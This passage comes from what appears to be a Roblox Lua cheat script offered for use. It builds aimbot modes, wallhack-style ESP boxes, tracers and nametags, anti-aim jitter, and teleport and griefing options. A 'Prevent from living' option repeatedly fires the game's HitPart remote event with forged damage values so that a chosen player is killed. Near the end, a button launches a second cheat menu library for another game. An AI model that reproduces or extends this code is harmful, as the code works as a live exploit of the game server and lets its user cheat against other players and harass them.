  4732. Username_2.Size = UDim2.new(0.300000012, 0, 1, 0)
  4733. Username_2.Font = Enum.Font.SourceSans
  4734. Username_2.Text = v.Name
  4735. Username_2.TextColor3 = Color3.new(1, 1, 1)
  4736. Username_2.TextSize = 14
  4737.  
  4738. SFrame.CanvasSize = UDim2.new(0,0,0,UIListLayout_3.AbsoluteContentSize.Y)
  4739.  
  4740. PlayerListInfo[v.UserId].Object = Template
  4741.  
  4742. v:GetPropertyChangedSignal("Team"):connect(function()
  4743. for i,v in pairs(PlayerListInfo[v.UserId].Skins) do
  4744. v:Destroy()
  4745. end
  4746. doSkins(v, false)
  4747. Template.LayoutOrder = ((v.Status.Team.Value == "T") and 0) or 1
  4748. Team_2.Text = v.Team.Name
  4749. Team_2.TextColor3 = v.Team.TeamColor.Color
  4750. end)
  4751.  
  4752. local function selected()
  4753. local count = 1
  4754. for i,v in pairs(Pictures.content:GetChildren()) do
  4755. if v:IsA("ImageLabel") then
  4756. v.Image = pictures[count]
  4757. count = count + 1
  4758. end
  4759. end
  4760. for i,v in pairs(Back:GetChildren()) do
  4761. if v:IsA("ImageButton") then
  4762. v.BackgroundTransparency = 1
  4763. end
  4764. end
  4765. Template.BackgroundTransparency = 0
  4766. Name.label.Text = "Name: "..v.Name
  4767. UID.label.Text = "UserID: "..v.UserId
  4768. RGroup.label.Text = "Is in ROLVe Group: "..tostring(v:IsInGroup(2613928))
  4769. Funds.label.Text = "Credits: "..v.SkinFolder.Funds.Value
  4770. Tier.label.Text = "Current Battlepass Tier: "..v.Tiers.Value
  4771. LOM.label.Text = "Legit-o-meter: "..((v.Tiers.Value*9) + v.AccountAge*.3)/10000
  4772. local floor = math.floor
  4773. local deg = math.deg
  4774. repeat
  4775. wait()
  4776. IAlive.label.Text = "Is Alive: "..tostring(v.Character ~= nil)
  4777. Cash.label.Text = "Cash: "..v.Cash.Value
  4778. local pos = v.CameraCF.Value.p
  4779. local x, y, z = floor(pos.x), floor(pos.y), floor(pos.z)
  4780. Pos.label.Text = "Position: ("..x..", "..y..", "..z..")"
  4781. local angles = v.CameraCF.Value.lookVector
  4782. local rx, ry, rz = floor(deg(angles.x)), floor(deg(angles.y)), floor(deg(angles.z))
  4783. Ang.label.Text = "Angles: ("..rx..", "..ry..", "..rz..")"
  4784. until ClickedName.UserId ~= v.UserId
  4785. end
  4786.  
  4787. Template.MouseButton2Click:Connect(function()
  4788. bruh.Position = UDim2.new(0, Local.Mouse.X, 0, Local.Mouse.Y)
  4789. ClickedName = v
  4790. bruh.Visible = true
  4791. selected()
  4792. end)
  4793.  
  4794. Template.MouseButton1Click:Connect(function()
  4795. ClickedName = v
  4796. selected()
  4797. end)
  4798. end
  4799.  
  4800. addToContextMenu("Aimbot Rage", function(v)
  4801. PlayerListInfo[v.UserId].Status = "Rage"
  4802. PlayerListInfo[v.UserId].Object.Status.Text = "Rage"
  4803. PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,0,0)
  4804. end)
  4805.  
  4806. addToContextMenu("Aimbot Auto", function(v)
  4807. PlayerListInfo[v.UserId].Status = "Auto"
  4808. PlayerListInfo[v.UserId].Object.Status.Text = "Auto"
  4809. PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,1,1)
  4810. end)
  4811.  
  4812. addToContextMenu("Aimbot Legit", function(v)
  4813. PlayerListInfo[v.UserId].Status = "Legit"
  4814. PlayerListInfo[v.UserId].Object.Status.Text = "Legit"
  4815. PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,1,0)
  4816. end)
  4817.  
  4818. addToContextMenu("Aimbot Friend", function(v)
  4819. PlayerListInfo[v.UserId].Status = "Friend"
  4820. PlayerListInfo[v.UserId].Object.Status.Text = "Friend"
  4821. PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(0,1,0)
  4822. end)
  4823.  
  4824. addToContextMenu("Prevent from living", function(v)
  4825. if PlayerListInfo[v.UserId].Kill then
  4826. PlayerListInfo[v.UserId].Kill:disconnect()
  4827. PlayerListInfo[v.UserId].Kill = nil
  4828. return
  4829. end
  4830.  
  4831. PlayerListInfo[v.UserId].Kill = S:connect(function()
  4832. if isAlive(v) and isAlive(Local.Player) then
  4833. for i = 1,100 do
  4834. local Arguments = {
  4835. [1] = v.Character.Head,
  4836. [2] = v.Character.Head.Position,
  4837. [3] = "Karambit",
  4838. [4] = math.huge,
  4839. [5] = Local.Player.Character.Gun,
  4840. [8] = 999,
  4841. [10] = true,
  4842. [11] = Local.Camera.CFrame.p,
  4843. [12] = workspace.DistributedTime.Value,
  4844. [13] = Vector3.new(),
  4845. }
  4846. Events.HitPart:FireServer(unpack(Arguments))
  4847. end
  4848. end
  4849. end)
  4850. end, function(v, t)
  4851. if PlayerListInfo[v.UserId].Kill then
  4852. t.Text = "Allow to live"
  4853. else
  4854. t.Text = "Prevent from living"
  4855. end
  4856. end)
  4857.  
  4858. addToContextMenu("Spam character sounds", function(v)
  4859. PlayerListInfo[v.UserId].Sounds = not PlayerListInfo[v.UserId].Sounds or true
  4860. local function applyHook(c)
  4861. c:WaitForChild("EquippedTool"):GetPropertyChangedSignal("Value"):connect(function()
  4862. if PlayerListInfo[v.UserId].Sounds then
  4863. for i,v in pairs(v.Character:GetDescendants()) do
  4864. if v:isA("Sound") then
  4865. v.Looped = true
  4866. v.Playing = true
  4867. end
  4868. end
  4869. end
  4870. end)
  4871. end
  4872. if PlayerListInfo[v.UserId].Sounds then
  4873. v.CharacterAdded:connect(function(c)
  4874. applyHook(c)
  4875. end)
  4876. if isAlive(v) then
  4877. applyHook(v.Character)
  4878. end
  4879. end
  4880. end, function(v, t)
  4881. if PlayerListInfo[v.UserId].Sounds then
  4882. t.Text = "Stop spamming sounds"
  4883. else
  4884. t.Text = "Spam character sounds"
  4885. end
  4886. end)
  4887.  
  4888. addToContextMenu("Spam sounds to them only", function(v)
  4889. if PlayerListInfo[v.UserId].Whizz then
  4890. PlayerListInfo[v.UserId].Whizz:disconnect()
  4891. PlayerListInfo[v.UserId].Whizz = nil
  4892. return
  4893. end
  4894.  
  4895. PlayerListInfo[v.UserId].Whizz = S:connect(function()
  4896. Whizz(v)
  4897. end)
  4898. end, function(v, t)
  4899. if PlayerListInfo[v.UserId].Whizz then
  4900. t.Text = "Stop spamming sounds"
  4901. else
  4902. t.Text = "Spam sounds to them only"
  4903. end
  4904. end)
  4905.  
  4906. addToContextMenu("Make them vomit weapons", function(v)
  4907. if not PlayerListInfo[v.UserId].Drop then
  4908. PlayerListInfo[v.UserId].Drop = true
  4909.  
  4910. while PlayerListInfo[v.UserId].Drop do
  4911. for i,w in pairs(Weapons.Path:GetChildren()) do
  4912. if w:IsA("Folder") then
  4913. wait()
  4914. DropGun(w, v.CameraCF.Value, nil)
  4915. end
  4916. end
  4917. end
  4918. else
  4919. PlayerListInfo[v.UserId].Drop = false
  4920. end
  4921. end, function(v, t)
  4922. if PlayerListInfo[v.UserId].Drop then
  4923. t.Text = "Stop dropping weapons"
  4924. else
  4925. t.Text = "Make them vomit weapons"
  4926. end
  4927. end)
  4928.  
  4929. addToContextMenu("Stand on head", function(v)
  4930. local function disconnect()
  4931. if PlayerListInfo[v.UserId].Stand then
  4932. PlayerListInfo[v.UserId].Stand:disconnect()
  4933. PlayerListInfo[v.UserId].Stand = nil
  4934. return
  4935. end
  4936. end
  4937. disconnect()
  4938.  
  4939. PlayerListInfo[v.UserId].Stand = S:connect(function()
  4940. if isAlive(Local.Player) and isAlive(v) then
  4941. Local.Player.Character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  4942. Local.Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 6, 0)
  4943. if v.Character.Humanoid.Health == 0 then
  4944. disconnect()
  4945. end
  4946. if Local.Player.Character.Humanoid.Jump == true then
  4947. disconnect()
  4948. end
  4949. end
  4950. end)
  4951. end, function(v, t)
  4952. if PlayerListInfo[v.UserId].Stand then
  4953. t.Text = "Stop standing on them"
  4954. else
  4955. t.Text = "Stand on head"
  4956. end
  4957. end)
  4958.  
  4959. addToContextMenu("Teleport to", function(v)
  4960. if isAlive(Local.Player) and isAlive(v) then
  4961. Local.Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
  4962. end
  4963. end)
  4964.  
  4965.  
  4966. UI.base.DisplayOrder = 8
  4967.  
  4968. function leavePlayer(v)
  4969. if PlayerListInfo[v.UserId] then
  4970. if PlayerListInfo[v.UserId].Kill then
  4971. PlayerListInfo[v.UserId].Kill:disconnect()
  4972. PlayerListInfo[v.UserId].Kill = nil
  4973. end
  4974.  
  4975. if PlayerListInfo[v.UserId].Whizz then
  4976. PlayerListInfo[v.UserId].Whizz:disconnect()
  4977. PlayerListInfo[v.UserId].Whizz = nil
  4978. end
  4979.  
  4980. for i,v in pairs(PlayerListInfo[v.UserId].Skins) do
  4981. v:Destroy()
  4982. end
  4983.  
  4984. PlayerListInfo[v.UserId].Object:Destroy()
  4985. end
  4986. if SpectateEntries[v.Name] then
  4987. SpectateEntries[v.Name]:Destroy()
  4988. SpectateEntries[v.Name] = nil
  4989. end
  4990. end
  4991.  
  4992. Local.Player:WaitForChild("DamageLogs").ChildAdded:Connect(function(hit)
  4993. local DMG = hit:WaitForChild("DMG")
  4994. local lastdmg = 0
  4995. local function HitHook()
  4996. OnHit(hit.Name, DMG.Value-lastdmg)
  4997. lastdmg = DMG.Value
  4998. if Settings.Killsay then
  4999. if Services.Players[hit.Name].Status.Alive.Value then
  5000. Services.Players[hit.Name].Status.Alive:GetPropertyChangedSignal("Value"):Wait()
  5001. end
  5002. Chat(Settings.Chat2:gsub("{}", hit.Name))
  5003. end
  5004. end
  5005. HitHook()
  5006. DMG:GetPropertyChangedSignal("Value"):Connect(function()
  5007. HitHook()
  5008. end)
  5009. end)
  5010.  
  5011. function doSkins(v, added)
  5012. local team = v:WaitForChild("Status"):WaitForChild("Team").Value
  5013. if team == "Spectator" then return end
  5014. local SkinF = v:WaitForChild("SkinFolder"):WaitForChild(team.."Folder")
  5015. local function doAdd(s)
  5016. if s.Value ~= "Stock" and s.Value:len() > 0 and s.Name ~= "Glove" then
  5017. AddSkin(v, s.Name.."_"..s.Value)
  5018. end
  5019. end
  5020. if added then
  5021. for i,s in pairs(SkinF:GetChildren()) do
  5022. doAdd(s)
  5023. end
  5024. else
  5025. SkinF.ChildAdded:connect(function(s)
  5026. doAdd(s)
  5027. end)
  5028. end
  5029. end
  5030.  
  5031. function createDot()
  5032. local d = Drawing.new("Circle")
  5033. d.NumSides = 15
  5034. d.Radius = 5
  5035. d.Filled = true
  5036. d.Color = Color3.new(1, 1, 1)
  5037. return d
  5038. end
  5039.  
  5040. function createText(v)
  5041. local d = Drawing.new("Text")
  5042. d.Text = v.Name
  5043. d.Size = 14
  5044. d.Center = true
  5045. d.Outline = true
  5046. d.Color = Color3.new(1, 1, 1)
  5047. return d
  5048. end
  5049.  
  5050. local function create_line()
  5051. local Line = Drawing.new("Line")
  5052. Line.Thickness = 1
  5053. Line.Transparency = 1
  5054. return Line
  5055. end
  5056.  
  5057. local function create_text()
  5058. local name = Drawing.new("Text")
  5059. name.Size = 14
  5060. name.Center = false
  5061. name.Outline = true
  5062. name.Transparency = 1
  5063. return name
  5064. end
  5065.  
  5066.  
  5067. function newPlayer(v, added)
  5068. spawn(function()
  5069. AddPlayer(v)
  5070. end)
  5071. local PlayerEntry = Top:Clone()
  5072. PlayerEntry.Visible = false
  5073. PlayerEntry.Name = v.Name
  5074. PlayerEntry.Spec.Text = v.Name
  5075. PlayerEntry.Parent = SpecF
  5076. SpectateEntries[v.Name] = PlayerEntry
  5077. PlayerListInfo[v.UserId] = {}
  5078. PlayerListInfo[v.UserId].Skins = {}
  5079. PlayerListInfo[v.UserId].Status = "Auto"
  5080. PlayerListInfo[v.UserId].SpectatorDot = createDot()
  5081. PlayerListInfo[v.UserId].SpectatorText = createText(v)
  5082. v:WaitForChild("Status"):WaitForChild("Alive")
  5083.  
  5084. local tracer = create_line()
  5085. local name = create_text()
  5086. local weapon = create_text()
  5087. local bomb = create_text()
  5088. local up = create_line()
  5089. local down = create_line()
  5090. local left = create_line()
  5091. local right = create_line()
  5092.  
  5093. local function disable()
  5094. tracer.Visible = false
  5095. name.Visible = false
  5096. weapon.Visible = false
  5097. up.Visible = false
  5098. down.Visible = false
  5099. left.Visible = false
  5100. right.Visible = false
  5101. bomb.Visible = false
  5102. end
  5103.  
  5104. local player = v
  5105.  
  5106. PlayerListInfo[v.UserId].DrawingAPI = S:connect(function()
  5107. if player and player.Team and player.Team ~= Local.Player.Team and player.Character and player.Character:FindFirstChildOfClass("Humanoid") and player.Character.Humanoid.Health > 0 then
  5108. local allCorners = {}
  5109. for _,v in pairs(player.Character:GetChildren()) do
  5110. if v:isA("BasePart") then
  5111. local a = AimbotFunctions.getCorners(v.CFrame, v.Size)
  5112. for _,v in pairs(a) do
  5113. table.insert(allCorners, v)
  5114. end
  5115. end
  5116. end
  5117.  
  5118. local xMin = Local.Camera.ViewportSize.X
  5119. local yMin = Local.Camera.ViewportSize.Y
  5120. local xMax = 0
  5121. local yMax = 0
  5122.  
  5123. for i,v in pairs(allCorners) do
  5124. local pos, ons = Local.Camera:WorldToViewportPoint(v)
  5125. if not ons then
  5126. return disable()
  5127. end
  5128. if pos.X > xMax then
  5129. xMax = pos.X
  5130. end
  5131. if pos.X < xMin then
  5132. xMin = pos.X
  5133. end
  5134. if pos.Y > yMax then
  5135. yMax = pos.Y
  5136. end
  5137. if pos.Y < yMin then
  5138. yMin = pos.Y
  5139. end
  5140. end
  5141.  
  5142. local info = Vector2.new(xMax + 3, yMin)
  5143.  
  5144. if (Settings.Boxes.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Boxes.Enemies.Enabled and v.Team ~= Local.Player.Team) then
  5145. local Color = (Settings.Boxes.Allies.Color and v.Team == Local.Player.Team) or Settings.Boxes.Enemies.Color
  5146. local Transparency = 1-((Settings.Boxes.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Boxes.Enemies.Transparency)
  5147. up.Visible = true
  5148. down.Visible = true
  5149. left.Visible = true
  5150. right.Visible = true
  5151. tracer.Visible = true
  5152. up.From = Vector2.new(xMin, yMin)
  5153. up.To = Vector2.new(xMax, yMin)
  5154. down.From = Vector2.new(xMin, yMax)
  5155. down.To = Vector2.new(xMax, yMax)
  5156. left.From = Vector2.new(xMin, yMin)
  5157. left.To = Vector2.new(xMin, yMax)
  5158. right.From = Vector2.new(xMax, yMin)
  5159. right.To = Vector2.new(xMax, yMax)
  5160. up.Color = Color
  5161. down.Color = Color
  5162. left.Color = Color
  5163. right.Color = Color
  5164. up.Transparency = Transparency
  5165. down.Transparency = Transparency
  5166. left.Transparency = Transparency
  5167. right.Transparency = Transparency
  5168. else
  5169. up.Visible = false
  5170. down.Visible = false
  5171. left.Visible = false
  5172. right.Visible = false
  5173. end
  5174.  
  5175. if (Settings.Nametags.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Nametags.Enemies.Enabled and v.Team ~= Local.Player.Team) then
  5176. name.Visible = true
  5177. name.Position = info
  5178. name.Text = player.Name
  5179. name.Transparency = 1-((Settings.Nametags.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Nametags.Enemies.Transparency)
  5180. name.Color = (Settings.Nametags.Allies.Color and v.Team == Local.Player.Team) or Settings.Nametags.Enemies.Color
  5181. else
  5182. name.Visible = false
  5183. end
  5184.  
  5185. local point, vis = Local.Camera:WorldToViewportPoint(player.Character.PrimaryPart.Position)
  5186. if vis and (Settings.WeaponText.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.WeaponText.Enemies.Enabled and v.Team ~= Local.Player.Team) then
  5187. weapon.Visible = true
  5188. weapon.Position = info + Vector2.new(0, 16)
  5189. weapon.Text = tostring(player.Character.EquippedTool.Value)
  5190. weapon.Transparency = 1-((Settings.WeaponText.Allies.Transparency and v.Team == Local.Player.Team) or Settings.WeaponText.Enemies.Transparency)
  5191. weapon.Color = (Settings.WeaponText.Allies.Color and v.Team == Local.Player.Team) or Settings.WeaponText.Enemies.Color
  5192. else
  5193. weapon.Visible = false
  5194. end
  5195.  
  5196. local point, vis = Local.Camera:WorldToViewportPoint(player.Character.PrimaryPart.Position)
  5197. if vis and (Settings.BombText.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.BombText.Enemies.Enabled and v.Team ~= Local.Player.Team)and workspace.Status.HasBomb.Value == player.Name then
  5198. bomb.Visible = true
  5199. bomb.Position = info + Vector2.new(0, 32)
  5200. bomb.Text = "Bomb"
  5201. bomb.Transparency = 1-((Settings.BombText.Allies.Transparency and v.Team == Local.Player.Team) or Settings.BombText.Enemies.Transparency)
  5202. bomb.Color = (Settings.BombText.Allies.Color and v.Team == Local.Player.Team) or Settings.BombText.Enemies.Color
  5203. else
  5204. bomb.Visible = false
  5205. end
  5206.  
  5207. if (Settings.Tracers.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Tracers.Enemies.Enabled and v.Team ~= Local.Player.Team) then
  5208. local half = (xMax-xMin)/2
  5209. tracer.Visible = true
  5210. tracer.From = Vector2.new(Local.Camera.ViewportSize.X/2, Local.Camera.ViewportSize.Y)
  5211. tracer.To = Vector2.new(xMin+half, yMax)
  5212. tracer.Transparency = 1-((Settings.Tracers.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Tracers.Enemies.Transparency)
  5213.  
  5214. tracer.Color = (Settings.Tracers.Allies.Color and v.Team == Local.Player.Team) or Settings.Tracers.Enemies.Color
  5215. else
  5216. tracer.Visible = false
  5217. end
  5218. else
  5219. disable()
  5220. end
  5221. end)
  5222.  
  5223. doSkins(v, added)
  5224. end
  5225.  
  5226. S:connect(function()
  5227. for i,v in pairs(Services.Players:GetPlayers()) do
  5228. local addTargets = addTargets
  5229. local Mouse = Local.Mouse
  5230. local stat = getStatus(v)
  5231. if stat == "Friend" then return end
  5232. stat = Settings[stat]
  5233. if stat.DetectionMethod == "All Threats (360°)" then
  5234. if isAlive(v) and v.Team ~= Local.Player.Team then
  5235. local Threat = CalculateThreat(v)
  5236. if Threat then
  5237. table.insert(Storage.Targets, v)
  5238. return
  5239. end
  5240. end
  5241. end
  5242. end
  5243. end)
  5244.  
  5245. S:connect(function()
  5246. if Settings.AA.Enabled and Local.Player.Character and Local.Player.Character:FindFirstChild("HumanoidRootPart") and Local.Player.Character:FindFirstChild("Humanoid") then
  5247. Local.Player.Character.Humanoid.AutoRotate = false
  5248. local HRP = Local.Player.Character.HumanoidRootPart
  5249. if JNegative then
  5250. Jitter = (Jitter - Settings.AA.JSpeed) % (Settings.AA.JRange+1)
  5251. else
  5252. Jitter = (Jitter + Settings.AA.JSpeed) % (Settings.AA.JRange+1)
  5253. end
  5254. local Offset
  5255. if JRotation then
  5256. Offset = CFrame.Angles(0,-math.rad(Jitter),0)
  5257. else
  5258. Offset = CFrame.Angles(0,math.rad(Jitter),0)
  5259. end
  5260.  
  5261. if Settings.AA.Direction == "Manual" then
  5262. Quarter = math.pi / 2
  5263. if Direction == "Left" then
  5264. HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter*3, 0) * Offset
  5265. elseif Direction == "Back" then
  5266. HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter*2, 0) * Offset
  5267. elseif Direction == "Right" then
  5268. HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter, 0) * Offset
  5269. else
  5270. Local.Player.Character.Humanoid.AutoRotate = true
  5271. end
  5272. elseif Settings.AA.Direction ~= "None" then
  5273. local ohn = CalculateAntiAngles(Settings.AA.Pitch > 1)
  5274. if ohn then
  5275. HRP.CFrame = ohn * Offset
  5276. end
  5277. else
  5278. HRP.CFrame = CFrame.new(HRP.CFrame.p) * Offset
  5279. end
  5280. end
  5281. end)
  5282.  
  5283. Local.Player:WaitForChild("KarmaDone"):Destroy()
  5284.  
  5285. Services.Players.PlayerAdded:Connect(newPlayer)
  5286. Services.Players.PlayerRemoving:Connect(leavePlayer)
  5287.  
  5288. Services.Lighting.LightingChanged:connect(function()
  5289. Services.Lighting.GlobalShadows = false
  5290. end)
  5291.  
  5292. function checkForSkybox(v)
  5293. if v:IsA("Sky") and v ~= Skybox then
  5294. v:Destroy()
  5295. end
  5296. end
  5297.  
  5298. Services.Lighting.ChildAdded:connect(function(v)
  5299. checkForSkybox(v)
  5300. end)
  5301.  
  5302. for i,v in pairs(Services.Lighting:GetDescendants()) do
  5303. checkForSkybox(v)
  5304. end
  5305.  
  5306. game.Close:connect(Save)
  5307.  
  5308. for i,v in pairs(Services.Players:GetPlayers()) do
  5309. newPlayer(v, true)
  5310. end
  5311.  
  5312. end)
  5313.  
  5314. FleeTheFacilityGUI.Name = "FleeTheFacilityGUI"
  5315. FleeTheFacilityGUI.Parent = main
  5316. FleeTheFacilityGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  5317. FleeTheFacilityGUI.Position = UDim2.new(0.428601861, 0, 0.342545927, 0)
  5318. FleeTheFacilityGUI.Size = UDim2.new(0, 88, 0, 25)
  5319. FleeTheFacilityGUI.Font = Enum.Font.SourceSans
  5320. FleeTheFacilityGUI.Text = "FleeTheFacilityGUI"
  5321. FleeTheFacilityGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  5322. FleeTheFacilityGUI.TextSize = 11.000
  5323. FleeTheFacilityGUI.MouseButton1Down:connect(function()
  5324. local library = {count = 0, queue = {}, callbacks = {}, rainbowtable = {}, toggled = true, binds = {}};
  5325. local defaults; do
  5326. local dragger = {}; do
  5327. local mouse = game:GetService("Players").LocalPlayer:GetMouse();
  5328. local inputService = game:GetService('UserInputService');
  5329. local heartbeat = game:GetService("RunService").Heartbeat;
  5330. -- // credits to Ririchi / Inori for this cute drag function :)
  5331. function dragger.new(frame)
  5332. local s, event = pcall(function()
  5333. return frame.MouseEnter
  5334. end)
  5335.  
  5336. if s then
  5337. frame.Active = true;
  5338.  
  5339. event:connect(function()
  5340. local input = frame.InputBegan:connect(function(key)
  5341. if key.UserInputType == Enum.UserInputType.MouseButton1 then
  5342. local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
  5343. while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
  5344. pcall(function()
  5345. frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Linear', 0.1, true);
  5346. end)
  5347. end
  5348. end
  5349. end)
  5350.  
  5351. local leave;
  5352. leave = frame.MouseLeave:connect(function()
  5353. input:disconnect();
  5354. leave:disconnect();
  5355. end)
  5356. end)
  5357. end
  5358. end
  5359.  
  5360. game:GetService('UserInputService').InputBegan:connect(function(key, gpe)
  5361. if (not gpe) then
  5362. if key.KeyCode == Enum.KeyCode.RightControl then
  5363. library.toggled = not library.toggled;
  5364. for i, data in next, library.queue do
  5365. local pos = (library.toggled and data.p or UDim2.new(-1, 0, -0.5,0))
  5366. data.w:TweenPosition(pos, (library.toggled and 'Out' or 'In'), 'Quad', 0.15, true)
  5367. wait();
  5368. end
  5369. end
  5370. end
  5371. end)
  5372. end
  5373.  
  5374. local types = {}; do
  5375. types.__index = types;
  5376. function types.window(name, options)
  5377. library.count = library.count + 1
  5378. local newWindow = library:Create('Frame', {
  5379. Name = name;
  5380. Size = UDim2.new(0, 190, 0, 30);
  5381. BackgroundColor3 = options.topcolor;
  5382. BorderSizePixel = 0;
  5383. Parent = library.container;
  5384. Position = UDim2.new(0, (15 + (200 * library.count) - 200), 0, 0);
  5385. ZIndex = 3;
  5386. library:Create('TextLabel', {
  5387. Text = name;
  5388. Size = UDim2.new(1, -10, 1, 0);
  5389. Position = UDim2.new(0, 5, 0, 0);
  5390. BackgroundTransparency = 1;
  5391. Font = Enum.Font.Code;
  5392. TextSize = options.titlesize;
  5393. Font = options.titlefont;
  5394. TextColor3 = options.titletextcolor;
  5395. TextStrokeTransparency = library.options.titlestroke;
  5396. TextStrokeColor3 = library.options.titlestrokecolor;
  5397. ZIndex = 3;
  5398. });
  5399. library:Create("TextButton", {
  5400. Size = UDim2.new(0, 30, 0, 30);
  5401. Position = UDim2.new(1, -35, 0, 0);
  5402. BackgroundTransparency = 1;
  5403. Text = "-";
  5404. TextSize = options.titlesize;
  5405. Font = options.titlefont;--Enum.Font.Code;
  5406. Name = 'window_toggle';
  5407. TextColor3 = options.titletextcolor;
  5408. TextStrokeTransparency = library.options.titlestroke;
  5409. TextStrokeColor3 = library.options.titlestrokecolor;
  5410. ZIndex = 3;
  5411. });
  5412. library:Create("Frame", {
  5413. Name = 'Underline';
  5414. Size = UDim2.new(1, 0, 0, 2);
  5415. Position = UDim2.new(0, 0, 1, -2);
  5416. BackgroundColor3 = (options.underlinecolor ~= "rainbow" and options.underlinecolor or Color3.new());
  5417. BorderSizePixel = 0;
  5418. ZIndex = 3;
  5419. });
  5420. library:Create('Frame', {
  5421. Name = 'container';
  5422. Position = UDim2.new(0, 0, 1, 0);
  5423. Size = UDim2.new(1, 0, 0, 0);
  5424. BorderSizePixel = 0;
  5425. BackgroundColor3 = options.bgcolor;
  5426. ClipsDescendants = false;
  5427. library:Create('UIListLayout', {
  5428. Name = 'List';
  5429. SortOrder = Enum.SortOrder.LayoutOrder;
  5430. })
  5431. });
  5432. })
  5433.  
  5434. if options.underlinecolor == "rainbow" then
  5435. table.insert(library.rainbowtable, newWindow:FindFirstChild('Underline'))
  5436. end
  5437.  
  5438. local window = setmetatable({
  5439. count = 0;
  5440. object = newWindow;
  5441. container = newWindow.container;
  5442. toggled = true;
  5443. flags = {};
  5444.  
  5445. }, types)
  5446.  
  5447. table.insert(library.queue, {
  5448. w = window.object;
  5449. p = window.object.Position;
  5450. })
  5451.  
  5452. newWindow:FindFirstChild("window_toggle").MouseButton1Click:connect(function()
  5453. window.toggled = not window.toggled;
  5454. newWindow:FindFirstChild("window_toggle").Text = (window.toggled and "+" or "-")
  5455. if (not window.toggled) then
  5456. window.container.ClipsDescendants = true;
  5457. end
  5458. wait();
  5459. local y = 0;
  5460. for i, v in next, window.container:GetChildren() do
  5461. if (not v:IsA('UIListLayout')) then
  5462. y = y + v.AbsoluteSize.Y;
  5463. end
  5464. end
  5465.  
  5466. local targetSize = window.toggled and UDim2.new(1, 0, 0, y+5) or UDim2.new(1, 0, 0, 0);
  5467. local targetDirection = window.toggled and "In" or "Out"
  5468.  
  5469. window.container:TweenSize(targetSize, targetDirection, "Quad", 0.15, true)
  5470. wait(.15)
  5471. if window.toggled then
  5472. window.container.ClipsDescendants = false;
  5473. end
  5474. end)
  5475.  
  5476. return window;
  5477. end
  5478.  
  5479. function types:Resize()
  5480. local y = 0;
  5481. for i, v in next, self.container:GetChildren() do
  5482. if (not v:IsA('UIListLayout')) then
  5483. y = y + v.AbsoluteSize.Y;
  5484. end
  5485. end
  5486. self.container.Size = UDim2.new(1, 0, 0, y+5)
  5487. end
  5488.  
  5489. function types:GetOrder()
  5490. local c = 0;
  5491. for i, v in next, self.container:GetChildren() do
  5492. if (not v:IsA('UIListLayout')) then
  5493. c = c + 1
  5494. end
  5495. end
  5496. return c
  5497. end
  5498.  
  5499. function types:Label(text)
  5500. local v = game:GetService'TextService':GetTextSize(text, 18, Enum.Font.SourceSans, Vector2.new(math.huge, math.huge))
  5501. local object = library:Create('Frame', {
  5502. Size = UDim2.new(1, 0, 0, v.Y + 5);
  5503. BackgroundTransparency = 1;
  5504. library:Create('TextLabel', {
  5505. Size = UDim2.new(1, 0, 1, 0);
  5506. Position = UDim2.new(0, 10, 0, 0);
  5507. LayoutOrder = self:GetOrder();
  5508.  
  5509. Text = text;
  5510. TextSize = 18;
  5511. Font = Enum.Font.SourceSans;
  5512. TextColor3 = Color3.fromRGB(255, 255, 255);
  5513. BackgroundTransparency = 1;
  5514. TextXAlignment = Enum.TextXAlignment.Left;
  5515. TextWrapped = true;
  5516. });
  5517. Parent = self.container
  5518. })
  5519. self:Resize();
  5520. end
  5521.  
  5522. function types:Toggle(name, options, callback)
  5523. local default = options.default or false;
  5524. local location = options.location or self.flags;
  5525. local flag = options.flag or "";
  5526. local callback = callback or function() end;
  5527.  
  5528. location[flag] = default;
  5529.  
  5530. local check = library:Create('Frame', {
  5531. BackgroundTransparency = 1;
  5532. Size = UDim2.new(1, 0, 0, 25);
  5533. LayoutOrder = self:GetOrder();
  5534. library:Create('TextLabel', {
  5535. Name = name;
  5536. Text = "\r" .. name;
  5537. BackgroundTransparency = 1;
  5538. TextColor3 = library.options.textcolor;
  5539. Position = UDim2.new(0, 5, 0, 0);
  5540. Size = UDim2.new(1, -5, 1, 0);
  5541. TextXAlignment = Enum.TextXAlignment.Left;
  5542. Font = library.options.font;
  5543. TextSize = library.options.fontsize;
  5544. TextStrokeTransparency = library.options.textstroke;
  5545. TextStrokeColor3 = library.options.strokecolor;
  5546. library:Create('TextButton', {
  5547. Text = (location[flag] and utf8.char(10003) or "");
  5548. Font = library.options.font;
  5549. TextSize = library.options.fontsize;
  5550. Name = 'Checkmark';
  5551. Size = UDim2.new(0, 20, 0, 20);
  5552. Position = UDim2.new(1, -25, 0, 4);
  5553. TextColor3 = library.options.textcolor;
  5554. BackgroundColor3 = library.options.bgcolor;
  5555. BorderColor3 = library.options.bordercolor;
  5556. TextStrokeTransparency = library.options.textstroke;
  5557. TextStrokeColor3 = library.options.strokecolor;
  5558. })
  5559. });
